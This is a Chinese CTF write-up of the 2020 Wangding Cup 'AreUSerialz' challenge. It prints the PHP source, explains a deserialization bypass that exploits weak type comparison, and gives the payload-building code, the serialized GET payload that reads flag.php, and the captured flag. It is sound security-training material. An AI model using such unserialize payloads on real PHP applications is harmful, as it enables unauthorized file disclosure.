复现-2020 网鼎杯 青龙组 AreUSerialz 复现
题目给定了以下源码:
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
首先由题目名字AreUSerialz
可以判断出,该题为反序列化的考题,因此我们需要注意相关的魔术方法和利用链构造。
源码中涉及到的魔术方法有:
__construct()
,对象生成时触发__destruct()
,对象被销毁时触发
首先跳转到unserialize()
的位置进行分析
if(isset($_GET{'str'})) { // 利用GET方式传入str参数
$str = (string)$_GET['str']; // str参数的类型强制转化为string,此处可以触发__toString魔术方法
if(is_valid($str)) {
$obj = unserialize($str); // 针对str参数进行反序列化,此处可以触发__wakeup(),__destruct()魔术方法
}
此处针对str参数进行反序列化,此处可以触发__destruct()
魔术方法,由此可以跳转到
function __destruct() {
if($this->op === "2") // 如果op强等于2,则会被赋值为1
$this->op = "1";
$this->content = "";
$this->process(); // 调用process函数
}
process
函数如下:
public function process() { // 根据op值的不同而选择不同的操作
if($this->op == "1") { // op == 1,进行写入操作,因为不涉及条件竞争等操作,暂时可以不关注写入
$this->write();
} else if($this->op == "2") { // op == 2,进行读取操作,重点关注
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
我们注意到在两段比较代码中,__destruct()
函数采用了===
的强比较,而process
函数采用了==
的弱比较,可以联想到利用php本身的弱类型比较来绕过。
' 2' === '2' false
- ``' 2' == '2' true`
因此我们可以令op=' 2'
。
然后我们继续审查read
函数
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
此处需要一个filename
,来进行读取,注意到源码的头部申明了3个变量:
protected $op;
protected $filename;
protected $content;
同时告知了include("flag.php");
,因此我们可以得到$filename="flag.php";
。
注:is_valid
函数还对序列化字符串进行了校验,因为成员被protected
修饰,因此序列化字符串中会出
现ascii为0的字符。经过测试,在PHP7.2+
的环境中,使用public
修饰成员并序列化,反序列化后成员也会被public
覆盖修饰。
最后构造payload如下:
<?php
class FileHandler{
public $op=' 2'; //op为2时执行读
public $filename="flag.php"; //文件开头调用的是flag.php
public $content="hh"; // 无关紧要,随意赋值
}
$flag = new FileHandler();
$flag_1 = serialize($flag);
echo $flag_1;
?>
序列化一下:
O:11:"FileHandler":3:{s:2:"op";s:2:" 2";s:8:"filename";s:8:"flag.php";s:7:"content";s:2:"hh";}
利用GET
方式传参:?str=O:11:"FileHandler":3:{s:2:"op";s:2:" 2";s:8:"filename";s:8:"flag.php";s:7:"content";s:2:"hh";}
get
flag:ctfhub{b09b2b936e91a039d3a77234}
本文来自博客园,作者:sherlson,转载请注明原文链接:https://www.cnblogs.com/sherlson/articles/16378072.html